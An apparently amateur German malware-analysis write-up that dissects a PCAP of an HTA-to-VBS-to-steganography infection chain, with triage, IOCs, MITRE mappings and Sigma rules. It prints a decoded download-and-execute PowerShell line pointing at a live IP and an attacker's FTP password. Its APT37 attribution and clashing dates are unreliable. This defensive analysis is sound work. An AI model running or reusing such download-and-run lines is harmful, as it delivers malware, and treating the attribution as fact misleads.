DIE ANALYSIERTE DATEI

PCAP-basierte Analyse | Datum: 2025-03-12 | Autor: BlackOclock

INHALTSVERZEICHNIS

1. ANALYSEÜBERSICHT

1.1 Die analysierte Datei (nur PCAP)
1.2 Infektionszeitstrahl & CVE-Zuordnung

2. NETZWERKVERKEHRSANALYSE

2.1 Protokollhierarchie – Gesamtbild
2.2 Gespräche – Top-Talker & Datenübertragung
2.3 Endpunkte – Tx/Rx-Bestätigung
2.4 HTTP-Exportobjekte – Extrahierte Dateien
2.5 HTTP-Enthält-Filter – Steganografie-Prüfung

3. NETWORKMINER-ANALYSE

3.1 Übersicht der extrahierten Dateien
3.2 Dateidetails (HTA, VBS, TXT)
3.3 JA3 / JA3S / JA4-Fingerabdrücke

4. ZEEK (ZUI)-LOGS-ANALYSE

4.1 Bestätigung der Dateiextraktion
4.2 MD5/SHA1-Hashes & Zeitstempel
4.3 VirusTotal-Integration

5. EXTRAHIERTE DATEIEN & STATISCHE ANALYSE

6. TRIAGE & VERHALTENSANALYSE

6.1 HTA-Triage – mshta.exe-Ausführung
6.2 VBS-Triage – WScript.exe & PowerShell
6.3 TXT-Triage – Notepad.exe & Ransomware-Verhalten

7. PROZESSINJEKTIONSANALYSE

7.1 Prozessbaum – mshta → cmd → powershell → csc → Notepad
7.2 WriteProcessMemory-Ereignisse
7.3 Token-Manipulation (SeDebugPrivilege)

8. SPEICHERAUSZUGSANALYSE

8.1 PowerShell-Speicherauszüge (HTA) (PID 4424)
8.2 comonstraints.vbs-Speicherauszug (PID 1184)

9. C2-ERKENNUNG & FINGERPRINT

9.1 Jarm / JA4-Analyse
9.2 GreyNoise & Shodan-Pivoting & C2-Infrastruktur-Mapping

10. EXFILTRATIONSANALYSE

10.1 FTP-Verkehr – 89.39.83.184
10.2 Gestohlene Anmeldeinformationen & Kontaktlisten

11. RANSOMWARE-VERHALTEN

11.1 foeMMBIG.txt-Ausführung
11.2 Notepad.exe als Injektionsziel

12. BEDROHUNGSINTELLIGENZ

12.1 VirusTotal & MalwareBazaar-Ergebnisse
12.2 MITRE ATT&CK-Zuordnung
12.3 APT37 (ScarCruft)-Korrelation

13. DETECTION ENGINEERING

13.1 Sigma-Regeln

14. FAZIT & IOCs

14.1 Vollständige Angriffskette – Zusammenfassung
14.2 Indikatoren einer Kompromittierung (IPs, Hashes, Domains)

14.3 Empfehlungen

                                     HINWEIS!!! In dieser Analyse wurde 'NUR' die PCAP-Datei verwendet! ZIP-Dateien wurden nicht benötigt;

##1. ANALYSEÜBERSICHT

Malware-Traffic-Analysis.net-Quelldateien

Form 1: heruntergeladene Quelldateien von malware-traffic-analysis.net - 'NUR' die PCAP-Datei wurde verwendet\

2025-01-09 (DONNERSTAG): CVE-2017-0199 XLS --> HTA --> VBS --> STEGANOGRAFIE --> DBATLOADER/GULOADER-ARTIGE MALWARE

##2. NETZWERKVERKEHRSANALYSE

2.1-Protokollhierarchie – Gesamtbild

Protokollhierarchie

Ich begann mit der Protokollhierarchie, um einen Gesamtüberblick über den Datenverkehr zu erhalten. Diese zeigt das Volumen der einzelnen verwendeten Protokolle. Wie in der Abbildung zu sehen, macht TLS 82,4 % des gesamten Datenverkehrs aus. Zusätzlich sind auch Media Line- und Line-Based-Daten vorhanden. Um die Netzwerkaktivität besser zu verstehen, müssen wir jedoch die Gespräche und Endpunkte untersuchen.

2.2-Gespräche – Top-Talker & Datenübertragung

Gespräche

Wir verwenden Gespräche, um IP-Paare zu erkennen, die die meisten Daten zwischen sich übertragen. Die Analyse zeigt, dass 10.9.1.101 (Host) und 104.17.201.1 das höchste Datenverkehrsvolumen aufweisen. Für diese Datenübertragung wurden die Ports 80 und 443 verwendet. Zusätzlich sehen wir, dass 3 MB Daten von 104.17.201.1 an 10.9.1.101 (Host) übertragen wurden. Eine weitere kritische Erkenntnis ist die Verbindung über Port 21 aufgrund der Verbindung von der WAN-IP (89.39.83.184), was auf eine mögliche Exfiltration hindeutet. Aber wir sind uns jetzt noch nicht sicher, da wir noch nichts darüber wissen. Wir brauchen einen Beweis!

2.3- Endpunkte

Endpunkte

Wir verwenden Endpunkte, um die Top-Talker im Netzwerk zu identifizieren. 104.17.201.1 hat 3 MB gesendete Daten (Tx) und 10.9.1.101 hat 3 MB empfangene Daten (Rx). Darüber hinaus sind die Top-Talker 104.17.201.1 als Quelle und 10.9.1.101 als Ziel.

2.4- HTTP-Exportobjekte

Export

Export wird verwendet, um Dateien, Daten, E-Mails usw. zu identifizieren, die über das Netzwerk übertragen wurden. Bei jeder PCAP-Analyse sollten wir immer hier nachsehen, welche Pakete welche Daten enthalten. Nun, wir haben die Pakete 88, 132, 2457 und 2468 notiert.

2.5- HTTP-Enthält-Filter

Export

Wenn HTTP-Protokolle im Netzwerk vorhanden sind. Wir sollten png, zip, jpg, jpeg (Steganografie) als Medien im Filter überprüfen, da Angreifer oft bösartigen Code in Mediendateien verstecken, um die Antivirenerkennung zu umgehen.

#Beispiel: http contains ".png" or http contains ".jpg" or http contains ".jpeg" or http contains ".zip"

Wir sehen nur, warum dieser Filter wichtig ist, wenn Port 80 im Netzwerk verwendet wird. Hier gibt es eine .hta-Datei, die in Paket 47 über Mediendateien gesendet wurde. Aber als wir Export verwendeten, um Dateien zu identifizieren, gab es diese nicht.

##3. NETWORKMINER-ANALYSE

3.1 Dateidetails (HTA, VBS, TXT)

NetworkMiner

Wir können NetworkMiner verwenden, um PCAP-Dateien schneller zu identifizieren. Wenn Sie REMnux oder ein Linux-System verwenden, können Sie im Terminal eingeben ( networkminer pcap_name )

3.2 JA3 / JA3S / JA4-Fingerabdrücke

NetworkMiner JA4/JA3

JA3-Hashes:

06843d66057fc9cbe42e9d690308903 (Frame 8)
62136a81b5b727d039d8160d188863aa (Frame 14)
3c4eb72b882d4d1442c67ce73f1292a9 (Frame 140)

JA4-Fingerabdrücke:

t13d1516h2_8daaf6152771_02713d6af862
t13d201000_2b729b4bf63_29829a46703f

Nun, aber warum brauchen wir JA4- und JA3-Hashes? Es könnte die Frage aufkommen, was JA3 und JA4 sind.

Lassen Sie es mich erklären; JA3 und JA4 sind Techniken zur Identifizierung von TLS-Clients und -Servern anhand der Parameter des TLS-Handshakes. JA3 erstellt einen MD5-Hash des Client-Hello-Pakets des TLS-Handshakes und identifiziert so die Client-Anwendung (z. B. Browser, Malware) eindeutig.

JA4 ist eine neuere Technik. Es ist wie ein Fingerabdruck für Internetverkehr. So wie Menschen einzigartige Fingerabdrücke haben, hinterlässt jede Software, die eine Verbindung zum Internet herstellt, eine einzigartige Markierung. Hilft besser, C2-Server zu finden.

##4. ZEEK (ZUI)-LOGS-ANALYSE

4.1 Bestätigung der Dateiextraktion, MD5/SHA1-Hashes & Zeitstempel, VirusTotal-Integration

Zeek-Logs wurden verwendet, um die aus dem HTTP-Verkehr extrahierten Dateien zu verifizieren. Das files.log zeigt die folgenden Einträge:

Diese Hashes wurden später für VirusTotal-Abfragen verwendet.

hta-Ergebnis

Hta (seemebestthing…)

MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

vbs-Ergebnis

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

foeMMBIG-Ergebnis

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82

##5. EXTRAHIERTE DATEIEN & STATISCHE ANALYSE

Hier werden wir alle Dateien aus der PCAP auf dem Desktop exportieren und mit binwalk analysieren.

foeMMBIG-Ergebnis

Die HTA-Datei sieht sauber aus. Ich konnte keine versteckten Daten finden. Sie scheint eine normale Textdatei zu sein.

Die VBS-Datei ist anders. Ich habe zwei Dinge darin gefunden:

Einige Base64-Daten und ein HTML-Dokument. Das bedeutet, die VBS-Datei hat mehrere Schichten. Der Angreifer hat versucht, Code darin zu verstecken.

Die TXT-Datei ergab eine seltsame Ausgabe. Es steht "Broadcom header", was für eine Textdatei keinen Sinn ergibt. Vielleicht ist die Datei beschädigt, oder es gibt eine weitere Schicht darin. Ich muss sie in einer Sandbox ausführen, um mehr zu verstehen.

##6. TRIAGE & VERHALTENSANALYSE

6.1 HTA-Triage – mshta.exe-Ausführung

Ich habe die HTA-Datei in einer Sandbox ausgeführt. Folgendes ist passiert:

HTA-Triage

Wir haben ein Ergebnis für die HTA. Bewertung 8/10 durch Triage.

HTA-Triage

Prozesskette mit 5 Schritten: mshta.exe (PID 1080) wurde gestartet Es startete cmd.exe (4952) cmd.exe startete powershell.exe (4424) PowerShell aktivierte SeDebugPrivilege (um auf andere Prozesse zuzugreifen) WriteProcessMemory wurde mehrfach für Code-Injektion verwendet

Injektionskette:

mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → unbekannter Prozess (3332)

PowerShell überprüfte auch laufende Prozesse (Discovery) und sah sich die Systemsprache an (wahrscheinlich um Sandboxen zu vermeiden).

MITRE-Techniken, die ich für die HTA gesehen habe:

T1059.001 (PowerShell) T1059.003 (cmd) T1057 (Prozesserkennung) T1134 (Token-Manipulation) T1055 (Prozessinjektion) T1614.001 (Spracherkennung)

HTA-Triage

Nun sehen wir hier FromString64Base im PowerShell-Befehl von cmd.exe. Wir müssen es in CyberChef dekodieren, um den Code in Base64 zu sehen.

HTA-Triage

Im PowerShell-Befehl fand ich einen Base64-String. Nach der Dekodierung mit CyberChef sah ich Folgendes:

URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."

Das bedeutet also, dass von 107.172.31.5 comonstraints.vbs heruntergeladen und nach 3 Sekunden Schlaf ausgeführt wird. Nun, im nächsten Schritt wird comonstraints.vbs heruntergeladen.

6.2 VBS-Triage – WScript.exe & PowerShell

VBS-Triage

Wir haben ein Ergebnis für die VBS. Bewertung 10/10 durch Triage.

Prozesskette: Wscript.exe wurde ausgeführt und startete PowerShell.exe

Nun, im Bild, wenn wir den Code in den Prozessen überprüfen. Wir können #x#.GIBMMeof/5.13.271.701//:p##h ----> Es gibt einen codierten Pfad. http://107.172.31.5/foeMMBIG.txt (der im Export der PCAP zu sehen war)

und auch diese Website https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg, die bösartigen Code innerhalb des JPG enthält. Das JPG hat <BASE64_START>- und <BASE64_END>-Tags. Dazwischen befinden sich, das bedeutet, dass dort versteckter Code ist. Der versteckte Text ist tatsächlich Base64, aber rückwärts geschrieben. Das Skript kehrt ihn zuerst um und dekodiert ihn dann. Nach der Dekodierung wird es zu einem kleinen Programm (.NET-Assembly) und wird auf dem Computer ausgeführt.

Ich habe versucht, das JPG herunterzuladen.

VBS-Triage

Aber ich konnte es nicht bekommen. Vielleicht war diese Adresse geschlossen. Die VBS-Datei lädt ein Bild herunter, findet darin versteckten Code, behebt ihn und führt ihn aus. Dies wird als Steganografie bezeichnet – das Verstecken von Dingen in Bildern.

MITRE-Techniken:

T1012 - Query Registry T1082 - System Information Discovery T1055 - Process Injection T1057 – Process Discovery T1134 – Access Token Manipulation

6.3 TXT-Triage – Notepad.exe & Ransomware-Verhalten

txt-Triage

-Die Datei wurde mit Notepad.exe (PID 4600) geöffnet

Notepad injizierte dann Code in sich selbst (Prozessinjektion)
Dateien auf dem Desktop begannen verschlüsselt zu werden
Eine Lösegeldforderung erschien als txt

Dies bestätigt, dass foeMMBIG.txt tatsächlich ein Ransomware-Dropper ist.

MITRE-Techniken:

T1055 (Process Injection)

##7. PROZESSINJEKTIONSANALYSE

7.1 Prozessbaum

mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)

7.2 WriteProcessMemory-Ereignisse

PID 1080 (mshta.exe) schrieb in PID 4952 (cmd.exe) PID 4952 (cmd.exe) schrieb in PID 4424 (powershell.exe) PID 4424 (powershell.exe) schrieb in PID 4432 (csc.exe) PID 4432 (csc.exe) schrieb in PID 3332 (unbekannt)

7.3 Token-Manipulation

PowerShell (PID 4424) aktivierte SeDebugPrivilege und konnte so auf andere Prozesse zugreifen.

##8. SPEICHERAUSZUGSANALYSE

8.1 PowerShell-Speicherauszüge (HTA) (PID 4424)

Als die Malware ausgeführt wurde, erstellte die Sandbox Speicherauszüge von PowerShell (PID 4424). Diese Schnappschüsse speichern, was sich zu diesem Zeitpunkt im RAM des Computers befand.

Ich fand mehr als 20 Speicherauszugsdateien.

hta-Speicher

8.2 comonstraints.vbs-Speicherauszug (PID 1184)

Die VBS-Datei (ausgeführt von WScript.exe, PID 1184) erstellte ebenfalls Speicherauszüge. Diese Auszüge sind meistens 64 KB groß. Dies ist normal für kleine Zuweisungen. Aber ich habe nach Speicherauszügen von Notepad.exe (PID 4600) gesucht, aber es gab keine. Dies ist interessant, da wir wissen, dass Notepad zum Öffnen von foeMMBIG.txt verwendet wurde.

##9. C2-ERKENNUNG & FINGERPRINT

9.1 Jarm / JA4-Analyse

jarm

Nur Jarm wird von 2 IPs ausgegeben.

9.2 GreyNoise & Shodan-Pivoting & C2-Infrastruktur-Mapping

Ich extrahierte JA4-Fingerabdrücke aus NetworkMiner und suchte sie in GreyNoise. Ich fand 26 IPs, die als bösartig mit demselben JA4-Fingerabdruck markiert waren. Dann durchsuchte ich alle diese IPs in Shodan, um ihre offenen Ports und Dienste zu überprüfen.

Diese Liste wurde durch Überprüfung von GreyNoise erstellt, und diese IPs sind in GreyNoise als bösartig markiert:

34.122.147.229 ( Web application brute-force login attempts - according to source Guardpot - 7 months ago This IP was involved in 1222 events across 2 distinct attack types. Attacks: tcp-portscan (1177), fortinet-login (45). First seen: 2024-05-07 23:10 UTC, Last seen: 2025-07-17 17:28 UTC. 3/94 security vendors flagged this IP address as malicious . Not After: 2020-11-30 22:10:40 )
107.189.1.175 - result of shodan C: Luxembourg Org : Buy VM Open Ports: 80 / 443 / 9001 / 9030
104.197.69.115( Web application brute-force login attempts - according to source Guardpot - 5 months ago This IP was involved in 1159 events across 2 distinct attack types. Attacks: tcp-portscan (1124), fortinet-login (35). First seen: 2024-07-11 04:26 UTC, Last seen: 2025-09-25 12:08 UTC. 4/94 security vendors flagged this IP address as malicious )
34.72.176.129 ( Web application brute-force login attempts - according to source Guardpot - 5 months ago This IP was involved in 1233 events across 2 distinct attack types. Attacks: tcp-portscan (1201), fortinet-login (32). First seen: 2024-07-11 04:26 UTC, Last seen: 2025-09-25 12:12 UTC. Find more information on CrowdSec CTI - according to source CrowdSec - 1 year ago Behaviors: Exploitation attempt / HTTP Bruteforce / HTTP Crawl + 2 more. Full details on CrowdSec CTI
6/94 security vendors flagged this IP address as malicious
34.123.170.104 ( Web application brute-force login attempts - according to source Guardpot - 1 month ago This IP was involved in 1141 events across 3 distinct attack types. Attacks: tcp-portscan (1097), fortinet-login (42), web-login (2). First seen: 2024-05-23 14:07 UTC, Last seen: 2026-01-26 05:22 UTC. Find more information on CrowdSec CTI - according to source CrowdSec - 1 year ago Behaviors: HTTP Crawl / HTTP DoS / HTTP Exploit + 1 more. Full details on CrowdSec CTI ) 3/94 security vendors flagged this IP address as malicious
121.127.42.69 ( 3/94 security vendors flagged this IP address as malicious)
185.220.101.2 result of shodan ( Hostnames:berlin01.tor-exit.artikel10.org Country : German Organization: Artikel10 e.V. ISP : Stiftung Erneuerbare Freiheit (It's TOR) Ports : 80/443/9001/9002
185.220.101.162 ( Hostnames: tor-exit-162.relayon.org Country : German / Organization:CIA TRIAD SECURITY LLC ISP : Stiftung Erneuerbare Freiheit)
205.169.39.24 Network port scanning and reconnaissance - according to source Guardpot - 8 months ago This IP was involved in 86 events across 1 distinct attack types. Attacks: tcp-portscan (86). First seen: 2024-08-22 22:29 UTC, Last seen: 2025-07-04 17:29 UTC.
47.254.76.66 ( Cloud Provider : Alibaba Cloud Country : USA open ports : 22 Operation system : Linux
47.251.118.89 (Cloud Provider : Alibaba Cloud Country : USA open ports : 22 Operation system : Linux)

##10. EXFILTRATIONSANALYSE

10.1 FTP-Verkehr – 89.39.83.184

Wenn wir 89.39.83.184 überprüfen, sehen wir, dass diese IP über Port 21 eine Verbindung zum Host hat. Wenn wir auf eines der Pakete auf Port 21 (FTP) klicken und Folgen --- > TCP-STREAM wählen, sehen wir die E-Mail und das Passwort des Angreifers.

Angreiferinfo

10.2 Gestohlene Anmeldeinformationen & Kontaktlisten

Wenn wir die Dateien in NetworkMiner überprüfen, gab es die Paketnummern 2498 (PW_user1_DESKTOP.html) und 2516 (Contacts_Thunder.txt). Nachdem diese Dateien exportiert wurden, enthielten sie Informationen über Benutzername und Passwort für Phishing-Angriffe (vermute ich) oder zum Stehlen von Konten.

Angreiferinfo

Ich suchte die FTP-Server-IP (89.39.83.184) in Shodan, um mehr über die Infrastruktur des Angreifers zu erfahren.

Angreiferinfo

##12. BEDROHUNGSINTELLIGENZ

12.1 VirusTotal & MalwareBazaar-Ergebnisse

Die aus den Zeek-Logs gewonnenen Hashes (Abschnitt 4) wurden in VirusTotal und MalwareBazaar überprüft. Alle Dateien wurden als bösartig bestätigt:

HTA-Datei: 33/61 Erkennung, identifiziert als AgentTesla VBS-Datei: 31/62 Erkennung, identifiziert als AgentTesla / Talu TXT-Datei: 25/62 Erkennung, identifiziert als Zapchast / Bhgd (Ransomware-Dropper)

Siehe Abschnitt 14.2 für die vollständige Hash-Liste.

12.2 MITRE ATT&CK-Zuordnung

T1059.001 - PowerShell T1059.003 - cmd T1134 - Token-Manipulation T1614.001 - Spracherkennung T1012 - Query Registry T1082 - System Information Discovery T1055 - Prozessinjektion T1057 – Prozesserkennung

12.3 APT37 (ScarCruft)-Korrelation

Warum sieht dieser Angriff nach APT37 aus?

Was wir in diesem Angriff gesehen haben - APT37 ist bekannt für HTA-Datei verwendet, um die Infektion zu starten - APT37 verwendet viele HTA-Dateien PowerShell mit Base64-Befehlen - APT37 liebt PowerShell Steganografie (JPG mit verstecktem Code) - APT37 versteckt Code in Bildern Prozessinjektion (mshta → cmd → powershell → csc) - APT37 injiziert Code in vertrauenswürdige Prozesse FTP-Exfiltration gestohlener Daten - APT37 stiehlt Anmeldeinformationen und Dateien Ransomware am Ende - APT37 verwendet jetzt auch Ransomware Ziele möglicherweise in Europa - APT37 ist in Europa aktiv Fazit Die Techniken, die wir in diesem Angriff gesehen haben, entsprechen dem, was APT37 normalerweise tut. Es ist kein 100%iger Beweis, aber es sieht nach APT37 aus. Eine nordkoreanische Hackergruppe steckt wahrscheinlich dahinter.

##13. DETECTION ENGINEERING

13.1 Sigma-Regeln

title: SeDebugPrivilege in PowerShell description: Erkennt PowerShell, das SeDebugPrivilege aktiviert (mögliche Token-Manipulation) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection

title: FTP-Exfiltration description: Erkennt FTP-Verbindungen von Prozessen, die FTP nicht verwenden sollten logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: PowerShell Download description: Erkennt PowerShell, die Dateien aus dem Internet herunterlädt logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection

title: Notepad from Temp description: Erkennt Notepad, das Dateien aus dem Temp-Ordner öffnet (mögliche Prozessinjektion) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection

HINWEIS! Ich weiß, das ist nur Grundlegendes, aber ich versuche einfach, Sigma-Regeln zu lernen.

##14. FAZIT & IOCs

14.1 Zusammenfassung der gesamten Angriffskette

Die Infektion begann mit einer bösartigen HTA-Datei, die von 192.3.27.144 heruntergeladen wurde. Beim Öffnen startete sie eine Prozesskette:

mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe

Wichtige Erkenntnisse:

PowerShell aktivierte SeDebugPrivilege und nutzte WriteProcessMemory zur Code-Injektion Die VBS-Datei lud ein JPG von Cloudinary herunter. Das JPG enthielt versteckte Base64-Daten zwischen den Tags <BASE64_START> und <BASE64_END>. Das Skript extrahierte diese Daten, kehrte sie um und dekodierte sie zu einer .NET-Assembly. Diese Assembly wurde in den Speicher geladen und ausgeführt. Obwohl wir das JPG nicht herunterladen konnten (401-Fehler), deuten die Code-Strukturen stark darauf hin, dass dies der Mechanismus war, der die endgültige Nutzlast (foeMMBIG.txt) heruntergeladen hat.

Bedrohungsakteur: APT37 – Techniken stimmen mit bekannten TTPs überein

14.2 Indikatoren für eine Kompromittierung

IP-Adressen:

IP = 107.172.31.5 | Rolle = C2-Server (VBS-, TXT-Download) IP = 89.39.83.184 | Rolle = FTP-Exfiltrationsserver IP = 192.3.27.144 | Rolle = HTA-Downloadquelle IP = 104.17.201.1 | Rolle = Erster Stage-Download (3 MB) 25 schädliche IPs von GreyNoise | Siehe vollständige Liste in Abschnitt 9.2

Domains:

Domain = res.cloudinary.com Rolle= Steganographie (JPG mit verstecktem Code) Domain = ip-api.com Dateiname= index.B23BDC8E.txt(false) Rolle = Sandbox-Umgehungsprüfung

Datei-Hashes:

(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82

FTP-Anmeldedaten:

Benutzername: [email protected]
Passwort: e)rwKbkKP8-m0

14.3 Empfehlungen

Blockieren Sie alle IPs und Domänen aus dem IOC-Abschnitt
Überwachen Sie JA3/JA4-Fingerabdrücke, um ähnliche C2-Infrastruktur zu erkennen
Verwenden Sie Sigma-Regeln (siehe Abschnitt 13) in Ihrem SIEM
Schulen Sie Benutzer bezüglich Phishing-Angriffen, die HTA-Dateien ausliefern
Aktivieren Sie PowerShell-Protokollierung und überwachen Sie die Nutzung von SeDebugPrivilege
Isolieren und untersuchen Sie jeden Host mit ähnlichen Prozessinjektionsmustern

Beliebteste

XLS-to-DBatLoader-or-GuLoader-for-AgentTesla-variant